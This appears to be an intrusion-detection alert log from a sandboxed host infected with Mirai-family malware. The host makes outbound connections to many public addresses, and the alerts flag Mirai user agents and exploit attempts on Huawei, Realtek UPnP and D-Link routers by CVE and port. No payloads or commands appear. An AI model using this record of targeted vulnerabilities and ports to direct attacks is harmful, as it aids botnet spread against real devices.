Timestamp:	192.168.2.2386.138.172.845622802846380 10/23/22-17:57:07.231449
SID:	2846380
Source Port:	45622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.129.74.63

Timestamp:	192.168.2.2386.129.74.6348334802846380 10/23/22-17:57:01.329005
SID:	2846380
Source Port:	48334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.70.28.212

Timestamp:	192.168.2.2388.70.28.21247484802027121 10/23/22-17:56:58.725651
SID:	2027121
Source Port:	47484
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.124.157.64

Timestamp:	192.168.2.23112.124.157.6442232802027121 10/23/22-17:57:07.684407
SID:	2027121
Source Port:	42232
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.74.216.83

Timestamp:	192.168.2.235.74.216.8344712802846457 10/23/22-17:57:53.450782
SID:	2846457
Source Port:	44712
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.97.189.47

Timestamp:	192.168.2.2374.97.189.4743448802835222 10/23/22-17:58:16.624285
SID:	2835222
Source Port:	43448
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.15.46.14

Timestamp:	192.168.2.2384.15.46.1443130802846457 10/23/22-17:56:43.315056
SID:	2846457
Source Port:	43130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.97.144.89

Timestamp:	192.168.2.2388.97.144.8934164802027121 10/23/22-17:57:02.482831
SID:	2027121
Source Port:	34164
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.155.153.43

Timestamp:	192.168.2.23164.155.153.4332818528692027339 10/23/22-17:57:55.998248
SID:	2027339
Source Port:	32818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.87.12.125

Timestamp:	192.168.2.2388.87.12.12556206802027121 10/23/22-17:57:02.495037
SID:	2027121
Source Port:	56206
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.135.83.30

Timestamp:	192.168.2.23122.135.83.3034560802846457 10/23/22-17:57:26.414141
SID:	2846457
Source Port:	34560
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.183.92.242

Timestamp:	192.168.2.23178.183.92.24255824802846380 10/23/22-17:57:09.503462
SID:	2846380
Source Port:	55824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.119.109.189

Timestamp:	192.168.2.23213.119.109.18947874802846380 10/23/22-17:57:03.553442
SID:	2846380
Source Port:	47874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.254.71.217

Timestamp:	192.168.2.235.254.71.21750546802846457 10/23/22-17:57:09.694375
SID:	2846457
Source Port:	50546
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.201.125.43

Timestamp:	192.168.2.23195.201.125.4337294802846457 10/23/22-17:56:43.200594
SID:	2846457
Source Port:	37294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.244.197.3

Timestamp:	192.168.2.23156.244.197.338410802841623 10/23/22-17:58:21.114648
SID:	2841623
Source Port:	38410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.201.236.57

Timestamp:	192.168.2.23195.201.236.5746022802846457 10/23/22-17:57:59.908703
SID:	2846457
Source Port:	46022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.74.216.146

Timestamp:	192.168.2.23112.74.216.14660594802027121 10/23/22-17:56:41.486203
SID:	2027121
Source Port:	60594
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.214.181.13

Timestamp:	192.168.2.2395.214.181.1350726802027121 10/23/22-17:57:49.347734
SID:	2027121
Source Port:	50726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.242.150.85

Timestamp:	192.168.2.23197.242.150.8545212802841623 10/23/22-17:57:12.916299
SID:	2841623
Source Port:	45212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.74.189.175

Timestamp:	192.168.2.23112.74.189.17540278802027121 10/23/22-17:56:46.365079
SID:	2027121
Source Port:	40278
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.52.121.14

Timestamp:	192.168.2.23181.52.121.1443112802846380 10/23/22-17:57:03.630757
SID:	2846380
Source Port:	43112
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.157.181

Timestamp:	192.168.2.2395.216.157.18141296802027121 10/23/22-17:57:45.098634
SID:	2027121
Source Port:	41296
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.211.102.109

Timestamp:	192.168.2.23213.211.102.10938970802846380 10/23/22-17:57:37.960194
SID:	2846380
Source Port:	38970
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.126.72.33

Timestamp:	192.168.2.23112.126.72.3349028802027121 10/23/22-17:58:27.406524
SID:	2027121
Source Port:	49028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.32.71.169

Timestamp:	192.168.2.23213.32.71.16941058802846380 10/23/22-17:58:33.195867
SID:	2846380
Source Port:	41058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.26.124.213

Timestamp:	192.168.2.2337.26.124.21336646802846457 10/23/22-17:57:28.829529
SID:	2846457
Source Port:	36646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.50.35.101

Timestamp:	192.168.2.23169.50.35.10149620802846380 10/23/22-17:57:51.801270
SID:	2846380
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.215.98.145

Timestamp:	192.168.2.2385.215.98.14537062802846457 10/23/22-17:58:17.685151
SID:	2846457
Source Port:	37062
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.252.186.136

Timestamp:	192.168.2.2389.252.186.13651966802846457 10/23/22-17:58:32.895297
SID:	2846457
Source Port:	51966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 72.32.131.24

Timestamp:	192.168.2.2372.32.131.2447166802835221 10/23/22-17:57:11.261983
SID:	2835221
Source Port:	47166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.129.56.211

Timestamp:	192.168.2.2395.129.56.21134566802027121 10/23/22-17:56:48.866949
SID:	2027121
Source Port:	34566
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.47.162.149

Timestamp:	192.168.2.2378.47.162.14935934802846457 10/23/22-17:58:28.628955
SID:	2846457
Source Port:	35934
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.158.44.202

Timestamp:	192.168.2.2380.158.44.20243626802846380 10/23/22-17:58:29.776670
SID:	2846380
Source Port:	43626
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.150.200.35

Timestamp:	192.168.2.2346.150.200.3543292802846457 10/23/22-17:58:15.388171
SID:	2846457
Source Port:	43292
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.216.139.185

Timestamp:	192.168.2.2395.216.139.18558198802027121 10/23/22-17:57:31.276613
SID:	2027121
Source Port:	58198
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.239.171.173

Timestamp:	192.168.2.23178.239.171.17342144802846380 10/23/22-17:57:27.966144
SID:	2846380
Source Port:	42144
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.211.106.45

Timestamp:	192.168.2.2395.211.106.4541256802027121 10/23/22-17:57:18.686379
SID:	2027121
Source Port:	41256
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.87.64.97

Timestamp:	192.168.2.2395.87.64.9744086802027121 10/23/22-17:57:40.846678
SID:	2027121
Source Port:	44086
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.24.65

Timestamp:	192.168.2.2388.221.24.6535450802027121 10/23/22-17:58:10.574728
SID:	2027121
Source Port:	35450
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.247.76.233

Timestamp:	192.168.2.2380.247.76.23345032802846380 10/23/22-17:57:43.270523
SID:	2846380
Source Port:	45032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.90.69.255

Timestamp:	192.168.2.23178.90.69.25534610802846380 10/23/22-17:57:55.499865
SID:	2846380
Source Port:	34610
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.76.255.103

Timestamp:	192.168.2.235.76.255.10347538802846457 10/23/22-17:57:53.428860
SID:	2846457
Source Port:	47538
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.66.207

Timestamp:	192.168.2.23197.90.66.2074959875472835222 10/23/22-17:58:16.541329
SID:	2835222
Source Port:	49598
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.7.151.16

Timestamp:	192.168.2.2384.7.151.1646196528692027339 10/23/22-17:57:20.233975
SID:	2027339
Source Port:	46196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.124.21.55

Timestamp:	192.168.2.23112.124.21.5545122802027121 10/23/22-17:57:31.198551
SID:	2027121
Source Port:	45122
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.155.235.164

Timestamp:	192.168.2.23164.155.235.16435986528692027339 10/23/22-17:58:36.207823
SID:	2027339
Source Port:	35986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.128.80.56

Timestamp:	192.168.2.2384.128.80.5643252802846457 10/23/22-17:56:43.243891
SID:	2846457
Source Port:	43252
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.140.134.187

Timestamp:	192.168.2.2378.140.134.18732774802846457 10/23/22-17:58:04.229718
SID:	2846457
Source Port:	32774
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.85.43.231

Timestamp:	192.168.2.2395.85.43.23150884802027121 10/23/22-17:58:37.404942
SID:	2027121
Source Port:	50884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.23.75.13

Timestamp:	192.168.2.2383.23.75.1352542802846380 10/23/22-17:58:30.980025
SID:	2846380
Source Port:	52542
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.10.80.112

Timestamp:	192.168.2.23213.10.80.11257334802846380 10/23/22-17:56:42.732402
SID:	2846380
Source Port:	57334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.150.232.81

Timestamp:	192.168.2.2337.150.232.8151152802846457 10/23/22-17:57:08.354913
SID:	2846457
Source Port:	51152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.153.66.57

Timestamp:	192.168.2.2382.153.66.5741406802846380 10/23/22-17:58:06.719457
SID:	2846380
Source Port:	41406
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.2.203.46

Timestamp:	192.168.2.235.2.203.4653962802846457 10/23/22-17:56:55.121791
SID:	2846457
Source Port:	53962
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.135.54

Timestamp:	192.168.2.23206.189.135.5452776802846380 10/23/22-17:57:29.512407
SID:	2846380
Source Port:	52776
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.248.63.187

Timestamp:	192.168.2.2346.248.63.18754830802846457 10/23/22-17:57:43.531129
SID:	2846457
Source Port:	54830
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.241.118.185

Timestamp:	192.168.2.23156.241.118.18549524802841623 10/23/22-17:57:46.808203
SID:	2841623
Source Port:	49524
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.1.222.79

Timestamp:	192.168.2.2337.1.222.7946536802846457 10/23/22-17:57:07.095976
SID:	2846457
Source Port:	46536
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 168.181.187.254

Timestamp:	192.168.2.23168.181.187.25454136802835221 10/23/22-17:57:16.449081
SID:	2835221
Source Port:	54136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.83.38.168

Timestamp:	192.168.2.23112.83.38.16835688802027121 10/23/22-17:58:36.268889
SID:	2027121
Source Port:	35688
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.115.220

Timestamp:	192.168.2.2395.100.115.22055196802027121 10/23/22-17:57:33.458382
SID:	2027121
Source Port:	55196
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.110.198.21

Timestamp:	192.168.2.2361.110.198.2150616802846457 10/23/22-17:57:02.954510
SID:	2846457
Source Port:	50616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.220.159.12

Timestamp:	192.168.2.23112.220.159.1247024802027121 10/23/22-17:57:10.375827
SID:	2027121
Source Port:	47024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.2.139.236

Timestamp:	192.168.2.23206.2.139.23659032802846380 10/23/22-17:57:55.415092
SID:	2846380
Source Port:	59032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.242.205.114

Timestamp:	192.168.2.2346.242.205.11451852802846457 10/23/22-17:58:05.462895
SID:	2846457
Source Port:	51852
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.198.105.107

Timestamp:	192.168.2.2388.198.105.10752334802027121 10/23/22-17:56:51.035370
SID:	2027121
Source Port:	52334
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.198.64.137

Timestamp:	192.168.2.23181.198.64.13755770802846380 10/23/22-17:56:55.834421
SID:	2846380
Source Port:	55770
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.65.83.186

Timestamp:	192.168.2.2395.65.83.18654456802027121 10/23/22-17:57:21.048077
SID:	2027121
Source Port:	54456
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.129.173.41

Timestamp:	192.168.2.2378.129.173.4137622802846457 10/23/22-17:58:04.238204
SID:	2846457
Source Port:	37622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.51.101.189

Timestamp:	192.168.2.2352.51.101.18956142802841623 10/23/22-17:57:11.020124
SID:	2841623
Source Port:	56142
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.164.3

Timestamp:	192.168.2.2388.99.164.352868802027121 10/23/22-17:57:21.050541
SID:	2027121
Source Port:	52868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.114.22.12

Timestamp:	192.168.2.2380.114.22.1257820802846457 10/23/22-17:58:26.453208
SID:	2846457
Source Port:	57820
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.19.3.212

Timestamp:	192.168.2.23112.19.3.21242120802027121 10/23/22-17:56:46.365118
SID:	2027121
Source Port:	42120
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.11.154.206

Timestamp:	192.168.2.23200.11.154.20660152802846380 10/23/22-17:58:22.232116
SID:	2846380
Source Port:	60152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.189.168.23

Timestamp:	192.168.2.235.189.168.2338262802846457 10/23/22-17:57:46.216121
SID:	2846457
Source Port:	38262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.213.87.34

Timestamp:	192.168.2.23112.213.87.3451162802027121 10/23/22-17:57:52.153428
SID:	2027121
Source Port:	51162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.43.27.108

Timestamp:	192.168.2.23213.43.27.10837120802846380 10/23/22-17:57:03.881859
SID:	2846380
Source Port:	37120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.106.24.192

Timestamp:	192.168.2.23213.106.24.19239220802846380 10/23/22-17:56:47.013902
SID:	2846380
Source Port:	39220
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.85.195

Timestamp:	192.168.2.2395.100.85.19533698802027121 10/23/22-17:57:57.655163
SID:	2027121
Source Port:	33698
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.98.245.16

Timestamp:	192.168.2.23200.98.245.1650152802846380 10/23/22-17:57:10.839547
SID:	2846380
Source Port:	50152
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.25.223.219

Timestamp:	192.168.2.2389.25.223.21946600802846457 10/23/22-17:57:43.767560
SID:	2846457
Source Port:	46600
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.47.101.7

Timestamp:	192.168.2.2378.47.101.738316802841623 10/23/22-17:58:25.556348
SID:	2841623
Source Port:	38316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.32.150.68

Timestamp:	192.168.2.23178.32.150.6839950802846380 10/23/22-17:56:55.332041
SID:	2846380
Source Port:	39950
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.110.56.62

Timestamp:	192.168.2.23200.110.56.6260036802846380 10/23/22-17:58:17.045499
SID:	2846380
Source Port:	60036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.216.212.90

Timestamp:	192.168.2.2388.216.212.9041186802027121 10/23/22-17:57:12.983209
SID:	2027121
Source Port:	41186
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.210.101.146

Timestamp:	192.168.2.2388.210.101.14647222802027121 10/23/22-17:58:02.447409
SID:	2027121
Source Port:	47222
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.164.220

Timestamp:	192.168.2.2395.179.164.22051574802027121 10/23/22-17:56:53.247965
SID:	2027121
Source Port:	51574
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.62.56.114

Timestamp:	192.168.2.23169.62.56.11454474802846380 10/23/22-17:56:58.238376
SID:	2846380
Source Port:	54474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.250.168.42

Timestamp:	192.168.2.23178.250.168.4255516802846380 10/23/22-17:57:09.467309
SID:	2846380
Source Port:	55516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.196.14.221

Timestamp:	192.168.2.235.196.14.22152520802846457 10/23/22-17:57:46.216045
SID:	2846457
Source Port:	52520
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.143.177.117

Timestamp:	192.168.2.2379.143.177.11741010802841623 10/23/22-17:57:01.100624
SID:	2841623
Source Port:	41010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.116.201.165

Timestamp:	192.168.2.23122.116.201.16556410802846457 10/23/22-17:57:26.392157
SID:	2846457
Source Port:	56410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

